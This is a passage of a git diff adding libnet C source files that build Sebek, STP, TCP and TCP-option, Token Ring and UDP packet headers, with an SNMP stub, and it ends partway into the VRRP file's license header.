sizeof(sebek_hdr)); + sebek_hdr.magic = htonl(magic); + sebek_hdr.version = htons(version); + sebek_hdr.type = htons(type); + sebek_hdr.counter = htonl(counter); + sebek_hdr.time_sec = htonl(time_sec); + sebek_hdr.time_usec = htonl(time_usec); + sebek_hdr.pid = htonl(pid); + sebek_hdr.uid = htonl(uid); + sebek_hdr.fd = htonl(fd); + memcpy(sebek_hdr.cmd, cmd, SEBEK_CMD_LENGTH*sizeof(u_int8_t)); + sebek_hdr.length = htonl(length); + + n = libnet_pblock_append(l, p, (u_int8_t *)&sebek_hdr, LIBNET_SEBEK_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, 0, LIBNET_PBLOCK_SEBEK_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} +/* EOF */ diff --git a/libnet/src/libnet_build_snmp.c b/libnet/src/libnet_build_snmp.c new file mode 100644 index 0000000..37a04c6 --- /dev/null +++ b/libnet/src/libnet_build_snmp.c @@ -0,0 +1,52 @@ +/* + * $Id: libnet_build_snmp.c,v 1.4 2004/01/03 20:31:01 mike Exp $ + * + * libnet + * libnet_build_snmp.c - SNMP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_snmp() +{ + /* + * We need an ASN.1 BER encoder before we can write this. + */ + return (-1); +} + + +/* EOF */ diff --git a/libnet/src/libnet_build_stp.c b/libnet/src/libnet_build_stp.c new file mode 100644 index 0000000..d152532 --- /dev/null +++ b/libnet/src/libnet_build_stp.c @@ -0,0 +1,196 @@ +/* + * $Id: libnet_build_stp.c,v 1.9 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_stp.c - STP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_stp_conf(u_int16_t id, u_int8_t version, u_int8_t bpdu_type, +u_int8_t flags, u_int8_t *root_id, u_int32_t root_pc, u_int8_t *bridge_id, +u_int16_t port_id, u_int16_t message_age, u_int16_t max_age, +u_int16_t hello_time, u_int16_t f_delay, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + + /* until we get some data marshalling in place we can't use this */ + /* struct libnet_stp_conf_hdr stp_hdr; */ + u_int8_t stp_hdr[35]; + u_int16_t value_s; + u_int32_t value_l; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_STP_CONF_H + payload_s; /* size of memory block */ + h = 0; /* no checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_STP_CONF_H); + if (p == NULL) + { + return (-1); + } + + /* until we get some data marshalling in place we can't use this */ + /* + stp_hdr.stp_id = htons(id); + stp_hdr.stp_version = version; + stp_hdr.stp_bpdu_type = bpdu_type; + stp_hdr.stp_flags = flags; + memcpy(&stp_hdr.stp_rootid, root_id, 8); + stp_hdr.stp_rootpc = htonl(root_pc); + memcpy(&stp_hdr.stp_bridgeid, bridge_id, 8); + stp_hdr.stp_portid = htons(port_id); + stp_hdr.stp_mage = htons(message_age); + stp_hdr.stp_maxage = htons(max_age); + stp_hdr.stp_hellot = htons(hello_time); + stp_hdr.stp_fdelay = htons(f_delay); + */ + + value_s = htons(id); + memcpy(stp_hdr, &value_s, 2); + stp_hdr[2] = version; + stp_hdr[3] = bpdu_type; + stp_hdr[4] = flags; + memcpy(&stp_hdr[5], root_id, 8); + value_l = htonl(root_pc); + memcpy(&stp_hdr[13], &value_l, 4); + memcpy(&stp_hdr[17], bridge_id, 8); + value_s = htons(port_id); + memcpy(&stp_hdr[25], &value_s, 2); +#if (LIBNET_BIG_ENDIAN == 1) + value_s = htons(message_age); +#else + value_s = message_age; +#endif + memcpy(&stp_hdr[27], &value_s, 2); +#if (LIBNET_BIG_ENDIAN == 1) + value_s = htons(max_age); +#else + value_s = max_age; +#endif + memcpy(&stp_hdr[29], &value_s, 2); +#if (LIBNET_BIG_ENDIAN == 1) + value_s = htons(hello_time); +#else + value_s = hello_time; +#endif + memcpy(&stp_hdr[31], &value_s, 2); +#if (LIBNET_BIG_ENDIAN == 1) + value_s = htons(f_delay); +#else + value_s = f_delay; +#endif + memcpy(&stp_hdr[33], &value_s, 2); + + + /* until we get some data marshalling in place we can't use this */ + /*n = libnet_pblock_append(l, p, (u_int8_t *)&stp_hdr, LIBNET_STP_CONF_H); */ + n = libnet_pblock_append(l, p, stp_hdr, LIBNET_STP_CONF_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_STP_CONF_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_stp_tcn(u_int16_t id, u_int8_t version, u_int8_t bpdu_type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + + struct libnet_stp_tcn_hdr stp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_STP_TCN_H + payload_s; /* size of memory block */ + h = 0; /* no checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_STP_TCN_H); + if (p == NULL) + { + return (-1); + } + + memset(&stp_hdr, 0, sizeof(stp_hdr)); + stp_hdr.stp_id = htons(id); + stp_hdr.stp_version = version; + stp_hdr.stp_bpdu_type = bpdu_type; + + n = libnet_pblock_append(l, p, (u_int8_t *)&stp_hdr, LIBNET_STP_TCN_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_STP_TCN_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_tcp.c b/libnet/src/libnet_build_tcp.c new file mode 100644 index 0000000..01a1e31 --- /dev/null +++ b/libnet/src/libnet_build_tcp.c @@ -0,0 +1,365 @@ +/* + * $Id: libnet_build_tcp.c,v 1.11 2004/01/28 19:45:00 mike Exp $ + * + * libnet + * libnet_build_tcp.c - TCP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_tcp(u_int16_t sp, u_int16_t dp, u_int32_t seq, u_int32_t ack, +u_int8_t control, u_int16_t win, u_int16_t sum, u_int16_t urg, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + int n, offset; + u_int32_t i, j; + libnet_pblock_t *p, *p_data, *p_temp; + libnet_ptag_t ptag_hold, ptag_data; + struct libnet_tcp_hdr tcp_hdr; + struct libnet_ipv4_hdr *ip_hdr; + + if (l == NULL) + { + return (-1); + } + + ptag_data = 0; /* for possible options */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, LIBNET_TCP_H, LIBNET_PBLOCK_TCP_H); + if (p == NULL) + { + return (-1); + } + + memset(&tcp_hdr, 0, sizeof(tcp_hdr)); + tcp_hdr.th_sport = htons(sp); /* source port */ + tcp_hdr.th_dport = htons(dp); /* destination port */ + tcp_hdr.th_seq = htonl(seq); /* sequence number */ + tcp_hdr.th_ack = htonl(ack); /* acknowledgement number */ + tcp_hdr.th_flags = control; /* control flags */ + tcp_hdr.th_x2 = 0; /* UNUSED */ + tcp_hdr.th_off = 5; /* 20 byte header */ + + /* check to see if there are TCP options to include */ + if (p->prev) + { + p_temp = p->prev; + while ((p_temp->prev) && (p_temp->type != LIBNET_PBLOCK_TCPO_H)) + { + p_temp = p_temp->prev; + } + if (p_temp->type == LIBNET_PBLOCK_TCPO_H) + { + /* + * Count up number of 32-bit words in options list, padding if + * neccessary. + */ + for (i = 0, j = 0; i < p_temp->b_len; i++) + { + (i % 4) ? j : j++; + } + tcp_hdr.th_off += j; + } + } + + tcp_hdr.th_win = htons(win); /* window size */ + tcp_hdr.th_sum = (sum ? htons(sum) : 0); /* checksum */ + tcp_hdr.th_urp = htons(urg); /* urgent pointer */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&tcp_hdr, LIBNET_TCP_H); + if (n == -1) + { + goto bad; + } + + ptag_hold = ptag; + if (ptag == LIBNET_PTAG_INITIALIZER) + { + ptag = libnet_pblock_update(l, p, len, LIBNET_PBLOCK_TCP_H); + } + + /* find and set the appropriate ptag, or else use the default of 0 */ + offset = payload_s; + if (ptag_hold && p->prev) + { + p_temp = p->prev; + while (p_temp->prev && + (p_temp->type != LIBNET_PBLOCK_TCPDATA) && + (p_temp->type != LIBNET_PBLOCK_TCP_H)) + { + p_temp = p_temp->prev; + } + + if (p_temp->type == LIBNET_PBLOCK_TCPDATA) + { + ptag_data = p_temp->ptag; + offset -= p_temp->b_len; + p->h_len += offset; + } + else + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): TCP data pblock not found\n", __func__); + } + } + + /* update ip_len if present */ + if (ptag_hold && p->next) + { + p_temp = p->next; + while (p_temp->next && (p_temp->type != LIBNET_PBLOCK_IPV4_H)) + { + p_temp = p_temp->next; + } + if (p_temp->type == LIBNET_PBLOCK_IPV4_H) + { + ip_hdr = (struct libnet_ipv4_hdr *)p_temp->buf; + n = ntohs(ip_hdr->ip_len) + offset; + ip_hdr->ip_len = htons(n); + } + } + + if ((payload && !payload_s) || (!payload && payload_s)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): payload inconsistency\n", __func__); + goto bad; + } + + /* if there is a payload, add it in the context */ + if (payload && payload_s) + { + /* update ptag_data with the new payload */ + p_data = libnet_pblock_probe(l, ptag_data, payload_s, + LIBNET_PBLOCK_TCPDATA); + if (p_data == NULL) + { + return (-1); + } + + if (libnet_pblock_append(l, p_data, payload, payload_s) == -1) + { + goto bad; + } + + if (ptag_data == LIBNET_PTAG_INITIALIZER) + { + if (p_data->prev->type == LIBNET_PBLOCK_TCP_H) + { + libnet_pblock_update(l, p_data, payload_s, + LIBNET_PBLOCK_TCPDATA); + /* swap pblocks to correct the protocol order */ + libnet_pblock_swap(l, p->ptag, p_data->ptag); + } + else + { + /* update without setting this as the final pblock */ + p_data->type = LIBNET_PBLOCK_TCPDATA; + p_data->ptag = ++(l->ptag_state); + p_data->h_len = payload_s; + + /* Adjust h_len for checksum. */ + p->h_len += payload_s; + + /* data was added after the initial construction */ + for (p_temp = l->protocol_blocks; + p_temp->type == LIBNET_PBLOCK_TCP_H || + p_temp->type == LIBNET_PBLOCK_TCPO_H; + p_temp = p_temp->next) + { + libnet_pblock_insert_before(l, p_temp->ptag, p_data->ptag); + break; + } + /* The end block needs to have its next pointer cleared. */ + l->pblock_end->next = NULL; + } + + if (p_data->prev && p_data->prev->type == LIBNET_PBLOCK_TCPO_H) + { + libnet_pblock_swap(l, p_data->prev->ptag, p_data->ptag); + } + } + } + else + { + p_data = libnet_pblock_find(l, ptag_data); + if (p_data) + { + libnet_pblock_delete(l, p_data); + } + } + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_tcp_options(u_int8_t *options, u_int32_t options_s, libnet_t *l, +libnet_ptag_t ptag) +{ + int offset, underflow; + u_int32_t i, j, n, adj_size; + libnet_pblock_t *p, *p_temp; + struct libnet_ipv4_hdr *ip_hdr; + struct libnet_tcp_hdr *tcp_hdr; + + if (l == NULL) + { + return (-1); + } + + underflow = 0; + offset = 0; + + /* check options list size */ + if (options_s > LIBNET_MAXOPTION_SIZE) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): options list is too large %d\n", __func__, options_s); + return (-1); + } + + adj_size = options_s; + if (adj_size % 4) + { + /* size of memory block with padding */ + adj_size += 4 - (options_s % 4); + } + + /* if this pblock already exists, determine if there is a size diff */ + if (ptag) + { + p_temp = libnet_pblock_find(l, ptag); + if (p_temp) + { + if (adj_size >= p_temp->b_len) + { + offset = adj_size - p_temp->b_len; + } + else + { + offset = p_temp->b_len - adj_size; + underflow = 1; + } + } + } + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, adj_size, LIBNET_PBLOCK_TCPO_H); + if (p == NULL) + { + return (-1); + } + + n = libnet_pblock_append(l, p, options, adj_size); + if (n == -1) + { + goto bad; + } + + if (ptag && p->next) + { + p_temp = p->next; + while ((p_temp->next) && (p_temp->type != LIBNET_PBLOCK_TCP_H)) + { + p_temp = p_temp->next; + } + if (p_temp->type == LIBNET_PBLOCK_TCP_H) + { + /* + * Count up number of 32-bit words in options list, padding if + * neccessary. + */ + for (i = 0, j = 0; i < p->b_len; i++) + { + (i % 4) ? j : j++; + } + tcp_hdr = (struct libnet_tcp_hdr *)p_temp->buf; + tcp_hdr->th_off = j + 5; + if (!underflow) + { + p_temp->h_len += offset; + } + else + { + p_temp->h_len -= offset; + } + } + while ((p_temp->next) && (p_temp->type != LIBNET_PBLOCK_IPV4_H)) + { + p_temp = p_temp->next; + } + if (p_temp->type == LIBNET_PBLOCK_IPV4_H) + { + ip_hdr = (struct libnet_ipv4_hdr *)p_temp->buf; + if (!underflow) + { + ip_hdr->ip_len += htons(offset); + } + else + { + ip_hdr->ip_len -= htons(offset); + } + } + } + + return (ptag ? ptag : libnet_pblock_update(l, p, adj_size, + LIBNET_PBLOCK_TCPO_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_token_ring.c b/libnet/src/libnet_build_token_ring.c new file mode 100644 index 0000000..b0cae85 --- /dev/null +++ b/libnet/src/libnet_build_token_ring.c @@ -0,0 +1,180 @@ +/* + * libnet + * libnet_build_token_ring.c - Token Ring (802.5) packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * Jason Damron <jsdamron@hushmail.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst, u_int8_t *src, +u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_token_ring_hdr token_ring_hdr; + + if (l == NULL) + { + return (-1); + } + + /* sanity check injection type if we're not in advanced mode */ + if (l->injection_type != LIBNET_LINK && + !(((l->injection_type) & LIBNET_ADV_MASK))) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): called with non-link layer wire injection primitive\n", + __func__); + p = NULL; + goto bad; + } + + n = LIBNET_TOKEN_RING_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_TOKEN_RING_H); + if (p == NULL) + { + return (-1); + } + + memset(&token_ring_hdr, 0, sizeof(token_ring_hdr)); + token_ring_hdr.token_ring_access_control = ac; + token_ring_hdr.token_ring_frame_control = fc; + memcpy(token_ring_hdr.token_ring_dhost, dst, TOKEN_RING_ADDR_LEN); + memcpy(token_ring_hdr.token_ring_shost, src, TOKEN_RING_ADDR_LEN); + token_ring_hdr.token_ring_llc_dsap = dsap; + token_ring_hdr.token_ring_llc_ssap = ssap; + token_ring_hdr.token_ring_llc_control_field = cf; + memcpy(&token_ring_hdr.token_ring_llc_org_code, org, LIBNET_ORG_CODE_SIZE); + token_ring_hdr.token_ring_type = htons(type); + + n = libnet_pblock_append(l, p, (u_int8_t *)&token_ring_hdr, + LIBNET_TOKEN_RING_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_TOKEN_RING_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_autobuild_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst, +u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, +libnet_t *l) +{ + u_int32_t n, h; + struct libnet_token_ring_addr *src; + libnet_pblock_t *p; + libnet_ptag_t ptag; + struct libnet_token_ring_hdr token_ring_hdr; + + if (l == NULL) + { + return (-1); + } + + /* sanity check injection type if we're not in advanced mode */ + if (l->injection_type != LIBNET_LINK && + !(((l->injection_type) & LIBNET_ADV_MASK))) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): called with non-link layer wire injection primitive\n", + __func__); + p = NULL; + goto bad; + } + + n = LIBNET_TOKEN_RING_H; + h = 0; + ptag = LIBNET_PTAG_INITIALIZER; + + /* Token Ring and Ethernet have the same address size - so just typecast */ + src = (struct libnet_token_ring_addr *) libnet_get_hwaddr(l); + if (src == NULL) + { + /* err msg set in libnet_get_hwaddr() */ + return (-1); + } + + /* + * Create a new pblock. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_TOKEN_RING_H); + if (p == NULL) + { + return (-1); + } + + memset(&token_ring_hdr, 0, sizeof(token_ring_hdr)); + token_ring_hdr.token_ring_access_control = ac; + token_ring_hdr.token_ring_frame_control = fc; + memcpy(token_ring_hdr.token_ring_dhost, dst, TOKEN_RING_ADDR_LEN); + memcpy(token_ring_hdr.token_ring_shost, src, TOKEN_RING_ADDR_LEN); + token_ring_hdr.token_ring_llc_dsap = dsap; + token_ring_hdr.token_ring_llc_ssap = ssap; + token_ring_hdr.token_ring_llc_control_field = cf; + memcpy(&token_ring_hdr.token_ring_llc_org_code, org, LIBNET_ORG_CODE_SIZE); + token_ring_hdr.token_ring_type = htons(type); + + + n = libnet_pblock_append(l, p, (u_int8_t *)&token_ring_hdr, + LIBNET_TOKEN_RING_H); + if (n == -1) + { + goto bad; + } + + return (libnet_pblock_update(l, p, h, LIBNET_PBLOCK_TOKEN_RING_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} +/* EOF */ diff --git a/libnet/src/libnet_build_udp.c b/libnet/src/libnet_build_udp.c new file mode 100644 index 0000000..276ed89 --- /dev/null +++ b/libnet/src/libnet_build_udp.c @@ -0,0 +1,98 @@ +/* + * $Id: libnet_build_udp.c,v 1.11 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_udp.c - UDP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_udp(u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_udp_hdr udp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_UDP_H + payload_s; /* size of memory block */ + h = len; /* header length (for cksum) */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_UDP_H); + if (p == NULL) + { + return (-1); + } + + memset(&udp_hdr, 0, sizeof(udp_hdr)); + udp_hdr.uh_sport = htons(sp); /* source port */ + udp_hdr.uh_dport = htons(dp); /* destination port */ + udp_hdr.uh_ulen = htons(h); /* total length of UDP packet*/ + udp_hdr.uh_sum = (sum ? htons(sum) : 0);/* checksum */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&udp_hdr, LIBNET_UDP_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_UDP_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_vrrp.c b/libnet/src/libnet_build_vrrp.c new file mode 100644 index 0000000..2c3a323 --- /dev/null +++ b/libnet/src/libnet_build_vrrp.c @@ -0,0 +1,104 @@ +/* + * $Id: libnet_build_vrrp.c,v 1.10 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_vrrp.c - VRRP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT 